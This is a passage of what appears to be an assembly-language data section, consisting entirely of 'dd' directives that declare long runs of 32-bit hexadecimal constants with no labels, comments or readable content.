		dd 0F01AB573h, 2639810Bh, 0E969CCFCh, 14AE4E0h,	3776633Bh
		dd 0DD3362DDh, 0B86D7691h, 0B2932D50h, 505D890Eh, 0F8106877h
		dd 5A24483Dh, 299295F8h, 93C4879Bh, 0B942A03Ch,	0ECCBC35h
		dd 0DDE10E16h, 149ADE3h, 0C0C135F2h, 4B98D6FAh,	75C942BEh
		dd 0F7B68596h, 4B0A910Eh, 57B21265h, 6D4251B7h,	7F5CAF22h
		dd 0D8B2DF04h, 74E23515h, 8C6D545h, 340857A6h, 0B2A9E5C7h
		dd 0A1AABD88h, 0F542C314h, 868D5F1Fh, 2259DDFCh, 32146206h
		dd 3D12F69Dh, 4F035A77h, 0C23C77A5h, 0C0A3135Dh, 9C4C1569h
		dd 0B53CD810h, 45FAA8D8h, 686F1089h, 6FECC6C5h,	5E0EAEDEh
		dd 0A2EC813Bh, 9EFECDA0h, 53938496h, 6107C350h,	6CBCD9C5h
		dd 976CBBC7h, 0BF4BD1B0h, 0A1B72A57h, 4EB66E9h,	51D92622h
		dd 43FCCB7Ah, 0CD436561h, 8FC114BDh, 0AD021FE6h, 0D43FE690h
		dd 0BBCB7528h, 4C16FDA3h, 851F3BF5h, 45452F29h,	4916692Bh
		dd 86D6B5Bh, 7C2BD0B5h,	22853FCDh, 9A3F7E5Dh, 48C942A9h
		dd 93C4AB37h, 0FACB7D00h, 0B1943A8Ah, 9F52D602h, 0F657218Fh
		dd 0F4E7B587h, 12AD9FBFh, 0D3B1084Bh, 0AEF69236h, 0BC2B51DCh
		dd 73FD0BD7h, 0F65CA127h, 7EC1DF0Fh, 0A5FE456Ah, 0C7A3B84Fh
		dd 0E29941F8h, 0EE148DBDh, 53E4314Fh, 3A124D98h, 98E49B15h
		dd 0E2846C7Ah, 8633B9D4h, 5E21FED8h, 3FA8B66h, 8D0F16D8h
		dd 5BB5ED09h, 0EE7B7B2Ch, 0C9DD6FC9h, 0C271577Bh, 9AC4A01Bh
		dd 48F4C6Eh, 8BCE5DBBh,	0CC276506h, 884B222Dh, 0FB77FA21h
		dd 7D561B9Ch, 0ABBB8E8Dh, 4728875Ah, 7CF851A4h,	0A5B8970Ch
		dd 2C9BC369h, 0FEAA7CEDh, 70E4EF2h, 5269147Fh, 3189FF66h
		dd 0FF1CFC9Fh, 16E439E6h, 49C89705h, 0F741E105h, 0FFCC7693h
		dd 8D56DBA8h, 0CA7DDCB2h, 0A0B2833Bh, 695793EAh, 95135F8Ah
		dd 0BABF00B1h, 58E209ECh, 13B26366h, 0EAF2941Dh, 6FCEE1BDh
		dd 74071FDDh, 4ED32DDFh, 14457244h, 5F7EFAAAh, 495A6EFh
		dd 0B683E8A2h, 0F056E329h, 2399FB8Dh, 0B145DA5Ch, 3A795797h
		dd 0DD88340Dh, 916931D8h, 0EC2B2D58h, 2364B1CFh, 60287027h
		dd 55A839E7h, 76A0F732h, 3B580A9Ch, 0C77F701Bh,	0E6ECDB96h
		dd 2804306Ah, 520F469Bh, 94E3BC4Dh, 428C00F4h, 0E99B5C49h
		dd 6A128CFDh, 45F4E5FDh, 0C7C5F990h, 4CFC1373h,	4D31774Ah
		dd 9E202645h, 6020995Ch, 0F591A5D2h, 64CAD6D0h,	0AD0620BEh
		dd 79177756h, 0C21F7231h, 9367A47Fh, 6349CDC1h,	0F99D2037h
		dd 39200987h, 8E362914h, 63209D70h, 1456D9D8h, 9DBDA28Eh
		dd 52EB1C6Fh, 3C8CAC39h, 0DC3CB2E6h, 0F92F4187h, 0FED3F7B8h
		dd 0CB9E0573h, 0D7EAA520h, 0BC620ABAh, 29AA598Eh, 88DA8F50h
		dd 0C151F7CCh, 329CD3Ah, 18B6B7CEh, 0E4CF4EA8h,	0F9F96A68h
		dd 5C3FA4AAh, 89CEB5AEh, 0E46991F5h, 0B2A58DFFh, 0F185D67Eh
		dd 9D1F0135h, 9E21460Ah, 39D4391Fh, 0CE23AAE3h,	0CE8D199Ah
		dd 0AA158C10h, 0CE9E960Ah, 30B45206h, 0AF6E5378h, 1CE8FB16h
		dd 911EDD8Fh, 0F9F40256h, 0F4BD2B3Eh, 0A87D7A1Eh, 0C9EFBD1Eh
		dd 0FB20367Eh, 86B5B790h, 98E6C2DBh, 3307057Eh,	7650AA42h
		dd 41A6C213h, 0CDA6F5E7h, 4E4D71DDh, 0BE1697EFh, 0A23DFE7h
		dd 985C828Ch, 109C1EFDh, 0D30E2BA8h, 0B8B4E9ACh, 85C3EEDBh
		dd 4DFF5204h, 0ABFE6538h, 0C44DC3EEh, 2EAF7718h, 14F11BB8h
		dd 0EEFE7D0Dh, 0D57AED63h, 0C72A1CD9h, 97DB946Fh, 6025B10Ch
		dd 9539CD7Fh, 2D691892h, 71B51067h, 0DF494D5Ch,	1282C0DBh
		dd 1365838Dh, 90226603h, 9FDF1CADh, 216E3FC9h, 3EDB31FEh
		dd 4CBE41DFh, 0FFAF56D9h, 0C73D7A08h, 0FB3F71ECh, 5B7514E0h
		dd 879112C8h, 4992DA78h, 39A89270h, 0BC284223h,	0C3F10B4Ch
		dd 5F4AFC85h, 38E6E0CEh, 0B152A087h, 1A5C2E7Ch,	0F77167BBh
		dd 0B46E4C7Dh, 0EBEE71C9h, 0DDCE4F89h, 0CBF4A26Dh, 0FF7C0BB8h
		dd 5D4E3221h, 5196D2E2h, 5CB7DABEh, 17ED5E37h, 6BAB1C4Ch
		dd 0A402ECDFh, 0AAEB55C2h, 165366A3h, 0D033E4FAh, 699C6FA6h
		dd 0AEE74C0Ah, 14D74A11h, 0F51E02ECh, 821A527Ch, 8C73385Ah
		dd 1E84CE6h, 8770D952h,	2EAD2972h, 0ED39F43Eh, 1C9D38CAh
		dd 7621D5C5h, 521070FEh, 832ABB13h, 86DB5507h, 758FA3B6h
		dd 1F029A49h, 0E4538ED0h, 8DBB1DCAh, 908F8610h,	1FC1935Ah
		dd 84A09AA5h, 12537234h, 0B624E232h, 823338FCh,	0CFF92Ch
		dd 0F26D0103h, 3B735DCEh, 25002170h, 0AC4FD537h, 52917941h
		dd 86E5EEBFh, 0ADF5D234h, 12E7B737h, 0A2D01F5Eh, 76819088h
		dd 3893871Dh, 6FCF8BFFh, 548615C8h, 53B1B9ECh, 98C0F34Dh
		dd 0AE988BA9h, 1A784B64h, 0BBA8BE08h, 0CCF1E8C5h, 592C5D96h
		dd 0C4041366h, 8DA8DC2h, 4E57700Bh, 6F7B36DBh, 12B24A07h
		dd 536CB061h, 1CE6110Bh, 242B344h, 16EE8C9Fh, 32B3250Ah
		dd 0CFAA6502h, 414AF5F0h, 5F5D908Ah, 989A24DDh,	4898028Fh
		dd 0A694C3Bh, 7C079779h, 0DDA8911Bh, 0FD5D30Eh,	5B2842D0h
		dd 0CABB7373h, 46EC00CFh, 4F275650h, 0E8D9090Bh, 0CFDC2FC0h
		dd 3C319970h, 134F8A51h, 0CF8A6E03h, 0CA65A454h, 643DD211h
		dd 0BB61EF93h, 0FE140CA7h, 99926D40h, 0D4C4B823h, 2A9E0B7Ah
		dd 3C632E73h, 0EE2BC8F2h, 61FDC03Dh, 0D1490135h, 0F9B6D935h
		dd 0FC25DE72h, 6B2805B7h, 9A6A0A07h, 91B7363Eh,	0F5B87C28h
		dd 33381A67h, 864D4754h, 0A7640EEFh, 1B4CBE9Eh,	186D3A81h
		dd 0C52F29CBh, 6CFE4137h, 60B36D6Dh, 8082C534h,	0EAB40484h
		dd 17D98B59h, 0F83E6E32h, 4EA14C72h, 137D55E4h,	0B00312A6h
		dd 867F57ACh, 8EF66BA5h, 3CDBB0C9h, 0FC248C05h,	67F2B66Ah
		dd 8F4280CCh, 0AC98E5ECh, 58C11AE8h, 5F3AFDB7h,	36BB945Ah
		dd 0BF3E42C5h, 0D417A5C7h, 0A0301AA2h, 4557250h, 33365245h
		dd 9D11243Bh, 7F22A6B3h, 0B9EA83CDh, 36236EE0h,	7C9EE091h
		dd 2BFD90C1h, 0FBF523B4h, 0B8F7BA1Ch, 0B040D079h, 68F0933Bh
		dd 2918B0C5h, 454C25DFh, 0DC31D334h, 0FDD2AB58h, 15C89676h
		dd 652EA0B7h, 18FEBA68h, 2CD44E33h, 439D189Ah, 0AFF094A4h
		dd 6526A649h, 0F4E36224h, 8BA711BCh, 567CE474h,	0F6D30E39h
		dd 8B7CB532h, 0C2346E35h, 0EA8826A5h, 31A1D0E5h, 0A9496F7h
		dd 507B4FDDh, 34994321h, 2A2CFB0Fh, 5106C92Ah, 31D7BBF4h
		dd 10857275h, 2DF52F3Ah, 31E86BE4h, 3F88699Ch, 486971D7h
		dd 0FE463FF4h, 9E9A457Ah, 0CEBB511Eh, 7F0CA3BEh, 9CC940EFh
		dd 88C578F7h, 643FC3B8h, 6698C5BDh, 2F779DAAh, 1A5A63FBh
		dd 0B772DA82h, 775E3B36h, 486F459Eh, 3FE951B2h,	453BCB25h
		dd 0CBA9916Fh, 1AD3F014h, 8988BA31h, 0ACADF59Ah, 25522ECh
		dd 6BA580DFh, 6984389Dh, 88FA2A96h, 637F4C5Fh, 8CCE6736h
		dd 0FDF3C6A4h, 632DAAAFh, 1A10A832h, 47BAC477h,	2C0FDB2Fh
		dd 400B7A79h, 3A4FDDC0h, 91EE0697h, 1454DEB8h, 0AE73E126h
		dd 6C5374FCh, 0DA45DB9Fh, 767597B4h, 9FF900C6h,	0EF0E9CBBh
		dd 0E2645436h, 20EB8747h, 1C46CCC4h, 0D9BBBF7Ch, 6C278A72h
		dd 7B44339Ah, 50D86FB5h, 749B7A64h, 0CD2D295Dh,	19643ECEh
		dd 2450E5BFh, 0AED31621h, 0B197D2E1h, 0C8B18F78h, 79739D8Ah
		dd 0FF8092BEh, 0E1DD2DA7h, 1F7C3E9Dh, 0BFCE99CCh, 8C96CA2Bh
		dd 197E353h, 4F492DA9h
		dd 62BE0519h, 398E8B67h, 95BB98B4h, 8E0FBCE2h, 8A7DC2F5h
		dd 2BF10482h, 271C741Dh, 4101DE95h, 0E9A60D25h,	864C1987h
		dd 3A530549h, 4B596420h, 4E578F2Eh, 0BBF6FA86h,	99A10B95h
		dd 0F17B6D39h, 6C083CF7h, 943D542Ch, 609E73C2h,	0F748A09Ah
		dd 0B3D59A5Bh, 33E57D11h, 300E26D1h, 58347524h,	7A127C6Bh
		dd 0D921492h, 0A66D4C6Eh, 7186DC11h, 45DFF205h,	0ACE6F439h
		dd 0B7E96DD9h, 886E5B7Bh, 0E0E39F52h, 0A36BEA3Eh, 0FE80A196h
		dd 7F9419F1h, 2DE66B20h, 3BA9A31Ah, 0B4FCD5FFh,	0B35B3B5Ah
		dd 91A1C673h, 5E5C8D47h, 0DBF16299h, 88369607h,	0ADCBBBD9h
		dd 0C397FC76h, 1805783Eh, 0CF63DD57h, 76CEE47h,	78139F37h
		dd 5B9B7120h, 27D10472h, 0A07048DEh, 1B8E37A8h,	0C2167014h
		dd 888B11C7h, 4200A8A3h, 614F7DB7h, 32E6F8E2h, 0DA53F177h
		dd 0F28DD0AAh, 0A75D7798h, 0B7CE86FAh, 4106DE85h, 4B1178B5h
		dd 0A55F58B9h, 7C3E111Ch, 0BF2929C2h, 20689D2Eh, 826FB982h
		dd 32F07E33h, 0E4B65E37h, 0BB7F930Ah, 5F14A1DBh, 0A1EC7C51h
		dd 0E0267FE4h, 1C2B862Fh, 0ECED9051h, 5E76251Eh, 952F1B2Bh
		dd 0BC1F839Ah, 0E93E0A22h, 7EF17119h, 6619EF9Dh, 4C4CDB7Bh
		dd 5132A403h, 48DEFC25h, 26E44BE4h, 94FCD763h, 0C640CBB6h
		dd 912E21DAh, 3FDBE3B2h, 0E284FB45h, 853A33E5h,	79D3AE75h
		dd 0B6147E69h, 94452678h, 36EA813Ch, 0B8B6B303h, 94E3FF81h
		dd 71CD454Bh, 0AA9BC2ADh, 0CF17E361h, 85D2BCBBh, 6A388993h
		dd 0F353DE1Bh, 4244B64Bh, 9C7B81B3h, 4A45A961h,	42E6DC42h
		dd 8916FBC3h, 0C6DF314Ah, 0F7211798h, 71B6CDBCh, 1E61ABDCh
		dd 20019140h, 8ECA4D7Fh, 0BAF581A8h, 70E7FB0Eh,	2034A01h
		dd 19EC3307h, 0CD80C3B0h, 76996490h, 0DE41D473h, 50429DD0h
		dd 7DDD1642h, 0F41B9F50h, 0A6C776D6h, 36D55F3Ch, 6711CC64h
		dd 3CD21EF9h, 0E156238Dh, 7AA6580Bh, 0CF879F60h, 9D70A658h
		dd 563DCA7Ah, 5DEB5F41h, 9AE057CEh, 422BDEDCh, 92B62725h
		dd 318583B6h, 7B31EA33h, 7EBD7466h, 0BC512197h,	92319ECCh
		dd 851D6CE6h, 50B921D1h, 0CDB637E7h, 0A48D6F12h, 57760C1Ch
		dd 0D5281336h, 0EE693A61h, 71DC002Ch, 0DD58073Ch, 43DDCBC6h
		dd 44E264F5h, 2E6C82A6h, 1815243h, 350A6E5Ch, 154405E1h
		dd 0A93A4A6Eh, 0BD7FD2C9h, 9EDE0664h, 0EACC8B51h, 91865724h
		dd 44930D8Dh, 0C702785h, 4764059Dh, 9C59B2F6h, 51936E4Fh
		dd 71328676h, 0E12188A8h, 531D6851h, 10AA8315h,	1852CC52h
		dd 0A9C3557h, 0F37E141Eh, 66B21DA4h, 9C3D4015h,	8B171A25h
		dd 0A7A7C867h, 0DD86A207h, 69289CBCh, 697E2A60h, 20F25D3h
		dd 0AB0C6ACAh, 0F93519BBh, 7A94A043h, 0C46048BCh, 57FFAF5Ch
		dd 0C34144E0h, 234BA82Eh, 6D3DAEF6h, 0CCA42C0h,	0F4C596D5h
		dd 0FA819C03h, 6FB79BA2h, 89F5EAA2h, 9962B3E9h,	3DB74A0h
		dd 9B9993A6h, 4F7A6C7h,	5244F032h, 0AB1C6E7Ah, 8B45843h
		dd 51E96135h, 4A63CC10h, 56C88EE7h, 0BA5C1478h,	3A8DCB02h
		dd 8F64ED10h, 0E0BBD6C7h, 0A2606C2Dh, 6E087D1Eh, 0B361D4ACh
		dd 6A579D27h, 7759C8F7h, 3559EAEh, 3D6A66A2h, 62CBCA25h
		dd 3E0D27ACh, 2A025427h, 4D8BCBFh, 0FD54FB23h, 664E906Fh
		dd 0F0FDF490h, 9BF1B7CDh, 3EB021DEh, 3B6793F8h,	187BC4EFh
		dd 0BF13097Ch, 9751A4A8h, 6F3E737Ah, 0EAA8905Dh, 1FC6ADB2h
		dd 8CE1EE30h, 0E360779Dh, 0F343BC02h, 83E69AB4h, 0E139E83Ch
		dd 2C84516Eh, 54E8285Dh, 97AD463Fh, 1B826F0Dh, 0D5ACDAFDh
		dd 0E2ED179Fh, 5DDB0A85h, 0B97B576Bh, 0D11DED10h, 83816625h
		dd 0D4DC870Fh, 0E8D01B71h, 0AFABACE3h, 0BEE47E17h, 9BA0A2F7h
		dd 7789225Fh, 0C026F25Ah, 0C3118907h, 1A85E1BEh, 0AFEE3FE2h
		dd 1CB562A7h, 8D174D57h, 0A81E5751h, 6606B985h,	461D77F3h
		dd 7406FF61h, 219310AEh, 0D2D68394h, 0EDEAE263h, 0A0C05D35h
		dd 0FD3E4E5Ch, 0E4D989E1h, 7925F003h, 6F55F944h, 7547C664h
		dd 516024FAh, 4CA33AB9h, 0B1C2C5D0h, 25961BAh, 61C34231h
		dd 18F85D0Eh, 5CB8953Bh, 0BB35B12Ch, 48DF034Fh,	0EA2D370Dh
		dd 0D55B6B7h, 0CF7B308Ah, 8EC74419h, 94C218DEh,	1204490Bh
		dd 3C9F4FBFh, 406D8AC6h, 9EB327FFh, 0E4E7C842h,	59DC6BAEh
		dd 0AF88AE4Bh, 7BC65B7Dh, 954702D5h, 27536017h,	779D4C5Dh
		dd 50C5CE41h, 0EB72A76Eh, 68C523E4h, 0D61B9AC6h, 0D19C1F6Bh
		dd 55930F33h, 7367407Ch, 28AFD4CDh, 0D644F072h,	2AFA11CBh
		dd 0B83AC1BDh, 0FA83A81Fh, 258B8EEAh, 166B6E4Dh, 8C565D39h
		dd 311991EBh, 0E55E2F47h, 0ACEBB132h, 68B4A9E7h, 8A2B1A86h
		dd 344C89ECh, 7559E2B3h, 0A7FF3554h, 7A6FDCC4h,	0E8586647h
		dd 0C887D5Eh, 0E2852615h, 3617E9B8h, 7AF03456h,	39398B7Fh
		dd 0F6F33C54h, 4D888EC8h, 0DECDFA34h, 0BCB95A84h, 1B465F0Fh
		dd 4E5497BEh, 409699B0h, 76EF54BEh, 580780E1h, 0C5F7A07Dh
		dd 561ED54Dh, 60CB0B3h,	0E80C1818h, 65E73B68h, 0EE1A1DF1h
		dd 57E29294h, 6DE5F101h, 0A28F838Eh, 0D398F805h, 119E0989h
		dd 268D736Dh, 48DD9519h, 0D5CDFED3h, 17FC1FFAh,	0BB5145BAh
		dd 0F0B13780h, 0C8809C04h, 0FF4792BAh, 0C3C5BCDAh, 0A5B7A1D8h
		dd 70E9C3C8h, 1FCE82C9h, 2CC7DDAEh, 0B03845DBh,	0B919913Bh
		dd 3E01959Ch, 6A14B97Ch, 0E8217DF3h, 2A1AA2E8h,	91FCD109h
		dd 0DE891F9Ah, 64AEA139h, 7156C6EEh, 0A2DAA5E4h, 31DC522Bh
		dd 1148433Ah, 0C484D147h, 0FB275C06h, 0C4AA0962h, 0C79A43C5h
		dd 3440492Ah, 0A7F9E462h, 0BEAF3E64h, 0C538647Eh, 0F9A4BAE7h
		dd 8B1B5A67h, 914A26D9h, 0CF7AED34h, 0D1A76477h, 0C3EA9372h
		dd 0B432C8E4h, 532E7B69h, 26C56457h, 0CA088619h, 44BB211h
		dd 0DB0CE47Bh, 4099ED56h, 765E45E8h, 0ABD50837h, 5ABBF7Ah
		dd 0BDC102EDh, 0C4D9F819h, 5B854719h, 0A39E2774h, 1112EB0Bh
		dd 4350394Ch, 0A48ED8B8h, 0E77CDD30h, 0E5D18B75h, 0A0308229h
		dd 0ADD7BB22h, 0D213FEE8h, 84E83194h, 7F0A49h, 592D72F3h
		dd 91EF6146h, 7F48C9C7h, 0EADEEB83h, 9A4CE73Fh,	24A91314h
		dd 0E3C25D49h, 1B9A5386h, 0A1994506h, 88073DD1h, 13D1B951h
		dd 0FCE17887h, 253D6D62h, 4853E5AEh, 0A4FB38C0h, 0DD252F32h
		dd 86818A23h, 0E2CBC524h, 5D3A03BEh, 39EDC111h,	0E600022Bh
		dd 0A9A028C0h, 3949788Eh, 3696A930h, 0C35B9F89h, 27BEFBE4h
		dd 4778BA30h, 0EC123CDFh, 75B045F5h, 9FB99981h,	758CCE72h
		dd 5B36CC20h, 71B6646Bh, 55E98626h, 46AF5F0Fh, 7ECB103Ah
		dd 9FF5E1EBh, 2A525FB7h, 0EA23059Fh, 0BFC6285h,	2C30C051h
		dd 5F94E687h, 7D627595h, 3388C86Eh, 9B95B9D6h, 0A7BEFF0Ch
		dd 7405B305h, 21F90A3Dh, 0AC0C8BE7h, 0B8D6A044h, 0AC9C9B7h
		dd 1F54A510h, 0D7198A08h, 2957287Fh, 108F2DEBh,	8B0AE0C4h
		dd 0E02B8967h, 0BDD38C8Ah, 15B4FE6Ah, 0D27DE969h, 0B18A3FC0h
		dd 780E5572h, 249210D6h, 6440E957h, 2FD203CFh, 5CF48E13h
		dd 454F6EA2h, 0BBD540C9h, 2115E743h, 0DC3AE4A9h, 21ED86D7h
		dd 6F03A923h, 8F3A91AAh, 0D7564DE5h, 0AFA5F69Ch, 969F26h
		dd 81103CA5h, 0AD8BAE67h, 0E69B9A29h, 9037F179h, 87261EFCh
		dd 5AF7DD0Ch, 5A55AD9Dh, 17420EA5h, 0BAE83E0Fh,	3610C87Bh
		dd 0E70A74E0h, 921E8B8h, 1ACA9681h, 7326C025h, 0B97EF3DEh
		dd 0B501044Fh, 63F9FD4Ch, 47787106h, 0D7BC14DAh, 3F98E7C6h
		dd 0EE18FD24h, 0E3A4A01h
		dd 0EFE7F8CFh, 321BB8CFh, 9DA967F6h, 0FFCD1704h, 9E9250D1h
		dd 0C386D533h, 0FBC0EA96h, 716307CBh, 0D8E03633h, 0AC01142Ah
		dd 0B909423Eh, 98492CBAh, 4A6C579Eh, 1488FF65h,	0E30ECF5Bh
		dd 0C57C6650h, 65CDA4CFh, 2D24EF3Fh, 2EDDD6B8h,	5E6B974Fh
		dd 20829B59h, 374E2700h, 80B80077h, 63E95A0Dh, 41BCC08Ch
		dd 454FA000h, 0C86B0BAFh, 4AB5B6FBh, 0EDEB9DC8h, 0DAC75BFCh
		dd 2DF72224h, 0DFCF2D04h, 0DEF49730h, 4777D830h, 24460E3h
		dd 3979C972h, 97723EF4h, 44A22D1Dh, 132BFD4Eh, 524F5BC2h
		dd 51D82548h, 0E75EF608h, 139F48B8h, 0C1D8FBF5h, 84463A24h
		dd 0B4443E0Ch, 61ECCF98h, 70212E3Eh, 0A99A6F14h, 2C8F4D6Ah
		dd 9CE10FDh, 0FF9A33CAh, 5723756Bh, 0E2475A69h,	8B4227AFh
		dd 2DDA7E7Dh, 0C783B4F4h, 0C4ACF84Dh, 63EFED1Bh, 0BC5FF86Ah
		dd 0FFAB5FFFh, 7067E73Ah, 3B990140h, 0FB27726Dh, 6CA6A3F9h
		dd 2B6A05C6h, 0BB307E1Ch, 36BFDD50h, 0D6561D1Ch, 547C9D12h
		dd 24EE13BAh, 6537C7DAh, 9898E4EAh, 0FE4E754h, 576E9D04h
		dd 0C1034053h, 244ED288h, 0EF99B2E1h, 0A738645Bh, 0A80FC51h
		dd 1BB9A67Fh, 0EE7CDF2Eh, 4DA22CE5h, 4DE6B44Ah,	0EB00330Bh
		dd 0B4138D96h, 9B54413Fh, 9C26D8CBh, 8828AF4Ah,	8DD022A9h
		dd 8C2EF706h, 0CC2EEC01h, 537AB6ADh, 235FF5FCh,	24C2D1CAh
		dd 0EFCB607Ah, 52E36024h, 0E27776EDh, 103058Bh,	89064B49h
		dd 5B38B9E7h, 4A6E1A22h, 0C650D87Eh, 0DCF5106Dh, 60842AE8h
		dd 0EF55954Fh, 0C9D1460Eh, 560E4971h, 10EA8E9h,	9B5B4BECh
		dd 468E71Ah, 0A2AA434h,	0E3BE8F36h, 4424F678h, 88A66DD1h
		dd 638D453Ah, 0E8A6A42Bh, 0BE3E8491h, 0BC78A1EEh, 0E69F93C6h
		dd 0D3F5EEE3h, 0E8048870h, 4CFA102Fh, 0ABE18205h, 0C5C50C61h
		dd 788638BCh, 0B60DCA78h, 2FD261F4h, 0CDC27208h, 9051AC2Ah
		dd 0EB62CAF6h, 7A2E4ECFh, 67DDC08Dh, 4861F79Ah,	6639B0BDh
		dd 0C5621E02h, 583D0DEEh, 0E05B1D74h, 98B0056Bh, 0DC90B5C7h
		dd 0CC8F6EC3h, 0D91314Ah, 31914F2Ah, 0D8C0D775h, 67A96559h
		dd 84D35E56h, 8E8DB6EEh, 90C7D012h, 47AD321Eh, 545D140Eh
		dd 7D90CAACh, 7DA98062h, 2CBE2D3Dh, 0C3B6CC0Ch,	98C11659h
		dd 0A8874CA7h, 0B612A513h, 384A28ACh, 53E82CA7h, 3F3E5340h
		dd 28683408h, 0C930B357h, 0B546F728h, 9E097866h, 105D9FFh
		dd 485013A7h, 5C2EF12Ah, 0A8B3C122h, 4869C98Ch,	0F7E7DCC4h
		dd 0EA569637h, 7BD3EFACh, 0A0A4515Ah, 9DBFC623h, 0FEA19122h
		dd 0CAE07A43h, 2B4D8A17h, 44CCD03Ah, 4B84C14Ah,	64FA35CFh
		dd 0CEC2B0D2h, 1425ED76h, 6F0E1AAAh, 3B4210E0h,	71666DEh
		dd 46F8E171h, 0A2C54F95h, 0F651C824h, 1E5E1F2Dh, 0CF47654Dh
		dd 632DCA2Eh, 1F23010h,	3B12DC4Bh, 0CD94AB55h, 88F21210h
		dd 3086C23Bh, 0FB10D6EFh, 32495E8Fh, 604EFF6Dh,	82920DA0h
		dd 0C894FCFCh, 2F158173h, 26534C42h, 4515C294h,	73DA6D8Fh
		dd 1DD8A5E8h, 0BF6C08AEh, 6818F4CCh, 4FDBD695h,	5025CB4Dh
		dd 75163126h, 876B1908h, 16914A46h, 0B7D160AEh,	1A46D430h
		dd 2E74BBD0h, 9B6F6B63h, 0B1413345h, 0A9093681h, 937AD831h
		dd 8427F89Bh, 2507E409h, 769D6BCCh, 877EC915h, 0C8753799h
		dd 926BAF57h, 2A5BD529h, 7C009Fh, 3F01DC2Dh, 0C6E35C75h
		dd 72334F0Fh, 0DB507EF0h, 911DC3FAh, 602F3379h,	20E934ABh
		dd 0FAFE8ED3h, 0D738B0DCh, 0E7CD3F3Eh, 4D53BC45h, 4ECAE75Ch
		dd 0B797B809h, 0F1A0306Fh, 3D495C83h, 0C2020CC4h, 5DE2581Eh
		dd 0DB07EB3Bh, 8EF0B6DBh, 0E8F2A8CBh, 0B5E8E199h, 310B0960h
		dd 0DD51F7A3h, 10E74B4Dh, 0D82750D4h, 0FB1B1F26h, 5EF72794h
		dd 2565BB85h, 7F130924h, 0F00D0D8Dh, 5CAE2E2Bh,	248E3355h
		dd 0E099ADFh, 0D6DD45B1h, 47252757h, 4E732230h,	0F56D520Ch
		dd 383DC651h, 337DBA6h,	0F21C6A43h, 796AF2CEh, 67D61693h
		dd 0FB67F830h, 2485EB4Ah, 4261B4B7h, 6BEDF208h,	24FF538Ah
		dd 8DDA705Fh, 4DD63CA6h, 0CD7DDBDAh, 1EE49786h,	394DA658h
		dd 83B983FFh, 0D9EC2DA5h, 0DB7A9C49h, 7FC88223h, 0C66799D5h
		dd 48411FB1h, 0B8354B1Eh, 0F323F5C7h, 0BBC227A8h, 624BBD6Eh
		dd 27C21700h, 152EB322h, 69A002BEh, 66690D54h, 0BA5344BFh
		dd 71762880h, 0C751747Eh, 6EA2A303h, 86AAE2F8h,	0D1A0A688h
		dd 5E14A27Eh, 0DA993BA2h, 0AA7B546Bh, 0EF273DB4h, 567E0169h
		dd 0BC2807B7h, 82D632E4h, 6C39335Ch, 8683247Ch,	9C7683C8h
		dd 6B6498A7h, 8A0F3751h, 0A7B9550Ch, 98F8B4E8h,	92769E5h
		dd 0F31E04F2h, 9E1031E3h, 33D2AE01h, 68CB369Ch,	0BBEA62B7h
		dd 3652B74Ch, 0D665BC22h, 501D7C72h, 5A98B85Eh,	2703536Bh
		dd 0BFF96248h, 0EBB6C60Eh, 54975469h, 7F01F4E7h, 3AA8960h
		dd 0DDCA7F5Ch, 0C554D8B0h, 4975363Bh, 0C87F0CDAh, 9A52E4ACh
		dd 3B15C7B3h, 0D40A3CD0h, 0B3C67114h, 146B0AD0h, 44A66767h
		dd 5B999519h, 4D954A57h, 7638BA70h, 3EADD367h, 719092F8h
		dd 463BD9CCh, 0BAEEBED6h, 60087F6h, 0B4B28279h,	26A0175Dh
		dd 22BF5654h, 0C36D34DDh, 0D86D0218h, 0C1EC220Fh, 14CE888Ch
		dd 7EBD3E2Eh, 8AA5B4FAh, 0E3E85DE3h, 21452C03h,	0F4486414h
		dd 471681E7h, 0CEAACB61h, 4479ED3Ah, 9FBACA1Bh,	0B76DBE7Bh
		dd 0A92C33C6h, 0D1E0E462h, 92CE06E8h, 0BB673F52h, 9E0C22D1h
		dd 0E72373C8h, 0A0AD77DFh, 8524CEC3h, 0BD47F6DAh, 0A26F745Ch
		dd 0CC54B178h, 1AD09856h, 591EF02Fh, 0FB4B3067h, 57247EBBh
		dd 8D09992Ch, 1B46954Ch, 0ED7B76D6h, 678249Fh, 0D3DB2573h
		dd 405CF0A3h, 8A87BA44h, 7EEDBD22h, 0BB20CD5Ah,	165B5B66h
		dd 487CC7D6h, 9F375280h, 8858B3A0h, 26464D8Ah, 5F2C010Ch
		dd 8D2D5E44h, 65661230h, 415771E1h, 0BAFD799Bh,	0BE3598EFh
		dd 0AAED3295h, 10A26CE6h, 0F34E9388h, 6ED9E39h,	28878FFCh
		dd 81844473h, 0D9BE0C67h, 0CA2D056Ch, 7137B1BCh, 7C31873Eh
		dd 79D3782Ch, 9A8593F1h, 34F7892h, 15C9F284h, 0EBFDC6F5h
		dd 314A7A4Eh, 1F94557h,	5E48CF6h, 0A29289B1h, 76D83BB5h
		dd 1BA0720Dh, 0CD1E61C6h, 620D0C2Fh, 72C81F49h,	0F6A9719h
		dd 8C61560Bh, 733B3B18h, 9AA5A6FEh, 0FE2618CCh,	0FD9BE7A7h
		dd 0BD4F61BDh, 0A1CED640h, 0F7F21FCh, 0B09411Ah, 0C35A6F7Eh
		dd 10DFC2B8h, 68D3C2F9h, 0EAA630F5h, 536207C6h,	12F64A73h
		dd 22B4B24Bh, 87D82076h, 0D89DEA13h, 6E000C6h, 2CEE7CDDh
		dd 9551DB9Bh, 11F68C72h, 523D770Fh, 65BF0542h, 0B6DA3B49h
		dd 854C578Dh, 11536ACh,	4BFC8AE8h, 6460E52Eh, 6772A22Ch
		dd 23B0FBDFh, 0D2FDFCBh, 6C0F169Bh, 6A327800h, 2B5836F0h
		dd 498BEEE1h, 6B140F33h, 6E709667h, 9A1AE677h, 0FAE5459Fh
		dd 95F5A0EEh, 24B1D21h,	684BE255h, 0CCE17784h, 88624499h
		dd 0B10E3604h, 0E6315B4Ch, 94FAFF2Dh, 0C1494850h, 0CE51D7B7h
		dd 9FDB024Eh, 0DC04F32Fh, 3083CADAh, 0A397ABFEh, 0F77B9BCh
		dd 51636178h, 4CCF1B14h, 0CF6896FFh, 1C895C6Fh,	39D40B55h
		dd 3E267AA8h, 4EC73284h, 60BE2B53h, 708B9A69h, 16AA1991h
		dd 0EB21A004h, 0FD54ADABh, 0B0B1D173h, 14914BC2h, 0D9CC288Eh
		dd 0FB76E8B0h, 9CB51850h, 51C88750h, 0C10D0CCBh, 54A9996h
		dd 6F4E0A76h, 4E7191A3h, 0E1EA29C4h, 143A80F5h,	39A0162Ah
